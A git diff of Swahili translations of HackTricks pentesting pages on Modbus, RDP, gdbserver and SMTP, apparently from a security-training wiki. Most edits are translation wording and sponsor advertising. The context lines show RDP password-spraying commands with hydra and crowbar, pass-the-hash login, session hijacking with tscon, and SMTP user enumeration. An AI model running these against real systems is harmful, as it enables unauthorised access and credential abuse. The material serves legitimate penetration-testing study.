**Mpangilio wa papo hapo kwa tathmini ya udhaifu & pentesting**. Fanya pentest kamili kutoka mahali popote na zana 20+ na vipengele vinavyotoka kwa recon hadi ripoti. Hatubadilishi pentesters - tunatengeneza zana maalum, moduli za kugundua & ushirikishaji ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,16 +15,18 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mchakato wa haraka wa kutathmini udhaifu & kupenya**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi pentesters - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
# Taarifa za Msingi
|
||||
|
||||
Mnamo mwaka wa 1979, **Protokali ya Modbus** ilitengenezwa na Modicon, ikihudumu kama muundo wa ujumbe. Matumizi yake makuu yanahusisha kuwezesha mawasiliano kati ya vifaa vyenye akili, vinavyofanya kazi chini ya mfano wa bwana-mtumwa/mteja-server. Protokali hii ina jukumu muhimu katika kuwezesha vifaa kubadilishana data kwa ufanisi.
|
||||
Mnamo mwaka wa 1979, **Modbus Protocol** ilitengenezwa na Modicon, ikihudumu kama muundo wa ujumbe. Matumizi yake makuu yanahusisha kuwezesha mawasiliano kati ya vifaa vyenye akili, vinavyofanya kazi chini ya mfano wa bwana-mtumwa/mteja-server. Protokali hii ina jukumu muhimu katika kuwezesha vifaa kubadilishana data kwa ufanisi.
|
||||
|
||||
**Bandari ya kawaida:** 502
|
||||
**Port ya kawaida:** 502
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
502/tcp open modbus
|
||||
|
@ -43,7 +45,9 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & pentesting**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi pentesters - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu muhimu, yanayoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mchakato wa haraka wa kutathmini udhaifu & upimaji wa kuingia**. Fanya upimaji kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye upelelezi hadi ripoti. Hatubadilishi wapimaji - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu makubwa, yanayoweza kutumiwa ambayo yana athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Taarifa za Msingi
|
||||
|
||||
Imetengenezwa na Microsoft, **Remote Desktop Protocol** (**RDP**) imeundwa kuwezesha muunganisho wa kiolesura cha picha kati ya kompyuta kupitia mtandao. Ili kuanzisha muunganisho kama huo, programu ya mteja ya **RDP** inatumika na mtumiaji, na kwa wakati mmoja, kompyuta ya mbali inahitajika kufanya kazi na programu ya seva ya **RDP**. Mipangilio hii inaruhusu udhibiti na ufikiaji wa mazingira ya desktop ya kompyuta ya mbali, kwa msingi inaletewa kiolesura chake kwenye kifaa cha mtumiaji.
|
||||
Imetengenezwa na Microsoft, **Remote Desktop Protocol** (**RDP**) imeundwa kuwezesha muunganisho wa kiolesura cha picha kati ya kompyuta kupitia mtandao. Ili kuanzisha muunganisho kama huo, programu ya mteja ya **RDP** inatumika na mtumiaji, na kwa wakati mmoja, kompyuta ya mbali inahitajika kufanya kazi na programu ya seva ya **RDP**. Mpangilio huu unaruhusu udhibiti na ufikiaji wa mazingira ya desktop ya kompyuta ya mbali, kimsingi ukileta kiolesura chake kwenye kifaa cha mtumiaji.
|
||||
|
||||
**Bandari ya kawaida:** 3389
|
||||
```
|
||||
|
@ -55,30 +57,32 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
|||
# hydra
|
||||
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
||||
```
|
||||
### Unganisha na akisi/nywila zinazojulikana
|
||||
### Unganisha na akidi/hasara inayojulikana
|
||||
```bash
|
||||
rdesktop -u <username> <IP>
|
||||
rdesktop -d <domain> -u <username> -p <password> <IP>
|
||||
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
|
||||
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
||||
```
|
||||
### Angalia akidi zinazojulikana dhidi ya huduma za RDP
|
||||
### Angalia akreditif zinazojulikana dhidi ya huduma za RDP
|
||||
|
||||
rdp\_check.py kutoka impacket inakuwezesha kuangalia ikiwa akidi fulani ni halali kwa huduma ya RDP:
|
||||
rdp\_check.py kutoka impacket inakuwezesha kuangalia ikiwa akreditif fulani ni halali kwa huduma ya RDP:
|
||||
```bash
|
||||
rdp_check <domain>/<name>:<password>@<IP>
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mpangilio wa haraka wa kutathmini udhaifu & pentesting**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi pentesters - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa faida na athari halisi za biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **Mashambulizi**
|
||||
## **Shambulio**
|
||||
|
||||
### Kuiba kikao
|
||||
|
||||
Kwa **idhini za SYSTEM** unaweza kufikia **kikao chochote cha RDP kilichofunguliwa na mtumiaji yeyote** bila haja ya kujua nenosiri la mmiliki.
|
||||
Kwa **mamlaka ya SYSTEM** unaweza kufikia **kikao chochote cha RDP kilichofunguliwa na mtumiaji yeyote** bila haja ya kujua nenosiri la mmiliki.
|
||||
|
||||
**Pata vikao vilivyofunguliwa:**
|
||||
```
|
||||
|
@ -90,9 +94,9 @@ tscon <ID> /dest:<SESSIONNAME>
|
|||
```
|
||||
Sasa utakuwa ndani ya kikao cha RDP kilichochaguliwa na utajifanya kuwa mtumiaji ukitumia tu zana na vipengele vya Windows.
|
||||
|
||||
**Muhimu**: Unapofikia vikao vya RDP vilivyo hai, utamfukuza mtumiaji aliyekuwa akivitumia.
|
||||
**Muhimu**: Unapofikia vikao vya RDP vilivyopo, utamfukuza mtumiaji ambaye alikuwa akivitumia.
|
||||
|
||||
Unaweza kupata nywila kutoka kwa mchakato kwa kuipakua, lakini njia hii ni ya haraka zaidi na inakuwezesha kuingiliana na madawati ya virtual ya mtumiaji (nywila katika notepad bila kuhifadhiwa kwenye diski, vikao vingine vya RDP vilivyofunguliwa kwenye mashine nyingine...)
|
||||
Unaweza kupata nywila kutoka kwa mchakato kwa kuutupa, lakini njia hii ni ya haraka zaidi na inakuwezesha kuingiliana na madawati ya virtual ya mtumiaji (nywila katika notepad bila kuhifadhiwa kwenye diski, vikao vingine vya RDP vilivyofunguliwa kwenye mashine nyingine...)
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
|
@ -123,12 +127,12 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
|
||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn** ni mfumo wa baada ya unyakuzi ulioandaliwa katika Powershell, ulioandaliwa hasa kujiendesha katika shambulio la **Shadow** kwenye kompyuta za Microsoft Windows. Uthibitisho huu (ulioorodheshwa kama kipengele na Microsoft) unaruhusu mshambuliaji wa mbali **kuona desktop ya mwathirika wake bila idhini yake**, na hata kuidhibiti kwa mahitaji, akitumia zana za asili za mfumo wa uendeshaji wenyewe.
|
||||
**AutoRDPwn** ni mfumo wa baada ya unyakuzi ulioandaliwa katika Powershell, ulioandaliwa hasa kujiendesha kiotomatiki katika shambulio la **Shadow** kwenye kompyuta za Microsoft Windows. Uthibitisho huu (uliotajwa kama kipengele na Microsoft) unaruhusu mshambuliaji wa mbali **kuona desktop ya mwathiriwa bila idhini yake**, na hata kuidhibiti kwa mahitaji, akitumia zana za asili za mfumo wa uendeshaji wenyewe.
|
||||
|
||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
* Dhibiti panya na kibodi kwa njia ya kiotomatiki kutoka kwa mstari wa amri
|
||||
* Dhibiti ubao wa kunakili kwa njia ya kiotomatiki kutoka kwa mstari wa amri
|
||||
* Unda proxy ya SOCKS kutoka kwa mteja inayochanganya mawasiliano ya mtandao na lengo kupitia RDP
|
||||
* Dhibiti clipboard kwa njia ya kiotomatiki kutoka kwa mstari wa amri
|
||||
* Unda SOCKS proxy kutoka kwa mteja inayochanganya mawasiliano ya mtandao kwa lengo kupitia RDP
|
||||
* Tekeleza amri za SHELL na PowerShell bila kupakia faili
|
||||
* Pakia na pakua faili kutoka/kwa lengo hata wakati uhamishaji wa faili umekataliwa kwenye lengo
|
||||
|
||||
|
@ -153,13 +157,15 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mchakato wa haraka wa kutathmini udhaifu & kupenya**. Fanya pentest kamili kutoka mahali popote kwa zana na vipengele zaidi ya 20 vinavyotoka kwenye recon hadi ripoti. Hatubadilishi wapentest - tunatengeneza zana maalum, moduli za kugundua na kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu makubwa, yanayoweza kutumiwa kwa faida na athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -167,7 +173,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mchakato wa haraka wa kutathmini udhaifu & kupenya**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi pentesters - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **Taarifa za Msingi**
|
||||
|
||||
**gdbserver** ni zana inayowezesha ufuatiliaji wa programu kwa mbali. Inafanya kazi sambamba na programu inayohitaji ufuatiliaji kwenye mfumo mmoja, inayoitwa "lengo." Mchakato huu unaruhusu **GNU Debugger** kuungana kutoka mashine tofauti, "mwenyeji," ambapo msimbo wa chanzo na nakala ya binary ya programu inayofuatiliwa zimehifadhiwa. Muunganisho kati ya **gdbserver** na debugger unaweza kufanywa kupitia TCP au laini ya serial, ikiruhusu mipangilio ya ufuatiliaji yenye kubadilika.
|
||||
**gdbserver** ni chombo kinachowezesha ufuatiliaji wa programu kwa mbali. Inafanya kazi sambamba na programu inayohitaji ufuatiliaji kwenye mfumo mmoja, inayoitwa "lengo." Mpangilio huu unaruhusu **GNU Debugger** kuungana kutoka mashine tofauti, "mwenyeji," ambapo msimbo wa chanzo na nakala ya binary ya programu inayofuatiliwa zimehifadhiwa. Muunganisho kati ya **gdbserver** na debugger unaweza kufanywa kupitia TCP au laini ya serial, ikiruhusu mipangilio ya ufuatiliaji yenye kubadilika.
|
||||
|
||||
Unaweza kufanya **gdbserver isikilize kwenye bandari yoyote** na kwa sasa **nmap haiwezi kutambua huduma hiyo**.
|
||||
|
||||
|
@ -198,13 +200,15 @@ RemoteCmd()
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mchakato wa haraka wa kutathmini udhaifu & kupenya**. Fanya pentest kamili kutoka mahali popote kwa zana 20+ na vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi pentesters - tunatengeneza zana maalum, moduli za kugundua na kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu muhimu, yanayoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu 20+ za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -212,7 +216,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,15 +17,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mchakato wa haraka wa tathmini ya udhaifu & upimaji wa uingiaji**. Fanya upimaji kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye utafiti hadi ripoti. Hatubadilishi wapimaji wa uingiaji - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **Taarifa za Msingi**
|
||||
## **Basic Information**
|
||||
|
||||
**Protokali ya Uhamishaji wa Barua Rahisi (SMTP)** ni protokali inayotumika ndani ya seti ya TCP/IP kwa **kutuma na kupokea barua pepe**. Kutokana na mipaka yake katika kupanga ujumbe kwenye upande wa mpokeaji, SMTP mara nyingi hutumika pamoja na **POP3 au IMAP**. Protokali hizi za ziada zinawawezesha watumiaji kuhifadhi ujumbe kwenye sanduku la barua la seva na kupakua mara kwa mara.
|
||||
**Protokali ya Uhamishaji Barua Rahisi (SMTP)** ni protokali inayotumika ndani ya seti ya TCP/IP kwa **kutuma na kupokea barua pepe**. Kutokana na mipaka yake katika kupanga ujumbe kwenye upande wa mpokeaji, SMTP mara nyingi hutumiwa pamoja na **POP3 au IMAP**. Protokali hizi za ziada zinawawezesha watumiaji kuhifadhi ujumbe kwenye sanduku la barua la seva na kupakua mara kwa mara.
|
||||
|
||||
Katika mazoezi, ni kawaida kwa **programu za barua pepe** kutumia **SMTP kutuma barua pepe**, wakati zinatumia **POP3 au IMAP kupokea** hizo. Kwenye mifumo inayotegemea Unix, **sendmail** inajitokeza kama seva ya SMTP inayotumika mara nyingi kwa madhumuni ya barua pepe. Kifurushi cha kibiashara kinachojulikana kama Sendmail kinajumuisha seva ya POP3. Zaidi ya hayo, **Microsoft Exchange** inatoa seva ya SMTP na inatoa chaguo la kujumuisha msaada wa POP3.
|
||||
Katika mazoezi, ni kawaida kwa **programu za barua pepe** kutumia **SMTP kwa kutuma barua pepe**, wakati zinatumia **POP3 au IMAP kwa kupokea**. Kwenye mifumo inayotegemea Unix, **sendmail** inajitokeza kama seva ya SMTP inayotumika mara nyingi kwa madhumuni ya barua pepe. Kifurushi cha kibiashara kinachojulikana kama Sendmail kinajumuisha seva ya POP3. Zaidi ya hayo, **Microsoft Exchange** inatoa seva ya SMTP na inatoa chaguo la kujumuisha msaada wa POP3.
|
||||
|
||||
**Bandari ya kawaida:** 25,465(ssl),587(ssl)
|
||||
```
|
||||
|
@ -36,7 +38,7 @@ PORT STATE SERVICE REASON VERSION
|
|||
|
||||
Ikiwa una fursa ya **kumfanya mwathirika akutumie barua pepe** (kupitia fomu ya mawasiliano ya ukurasa wa wavuti kwa mfano), fanya hivyo kwa sababu **unaweza kujifunza kuhusu topolojia ya ndani** ya mwathirika kwa kuangalia vichwa vya barua pepe.
|
||||
|
||||
Pia unaweza kupata barua pepe kutoka kwa seva ya SMTP ukijaribu **kutuma kwa seva hiyo barua pepe kwa anwani isiyopo** (kwa sababu seva itatuma kwa mshambuliaji barua ya NDN). Lakini, hakikisha unatumia anwani iliyoidhinishwa (angalia sera ya SPF) na kwamba unaweza kupokea ujumbe wa NDN.
|
||||
Pia unaweza kupata barua pepe kutoka kwa seva ya SMTP ukijaribu **kutuma kwa seva hiyo barua pepe kwa anwani isiyopo** (kwa sababu seva itatuma kwa mshambuliaji barua ya NDN). Lakini, hakikisha kwamba unatumia anwani iliyoidhinishwa (angalia sera ya SPF) na kwamba unaweza kupokea ujumbe wa NDN.
|
||||
|
||||
Unapaswa pia kujaribu **kutuma maudhui tofauti kwa sababu unaweza kupata habari za kuvutia zaidi** kwenye vichwa kama: `X-Virus-Scanned: by av.domain.com`\
|
||||
Unapaswa kutuma faili ya mtihani ya EICAR.\
|
||||
|
@ -64,7 +66,7 @@ dig +short mx google.com
|
|||
nmap -p25 --script smtp-commands 10.10.10.10
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
### NTLM Auth - Ufunuo wa taarifa
|
||||
### NTLM Auth - Ufichuzi wa taarifa
|
||||
|
||||
Ikiwa seva inasaidia NTLM auth (Windows) unaweza kupata taarifa nyeti (matoleo). Maelezo zaidi [**hapa**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
|
||||
```bash
|
||||
|
@ -169,13 +171,15 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mpangilio wa haraka wa tathmini ya udhaifu & upimaji wa penya**. Fanya upimaji kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye utafiti hadi ripoti. Hatubadilishi wapimaji wa penya - tunakuza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kubaini uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Ripoti za DSN
|
||||
|
||||
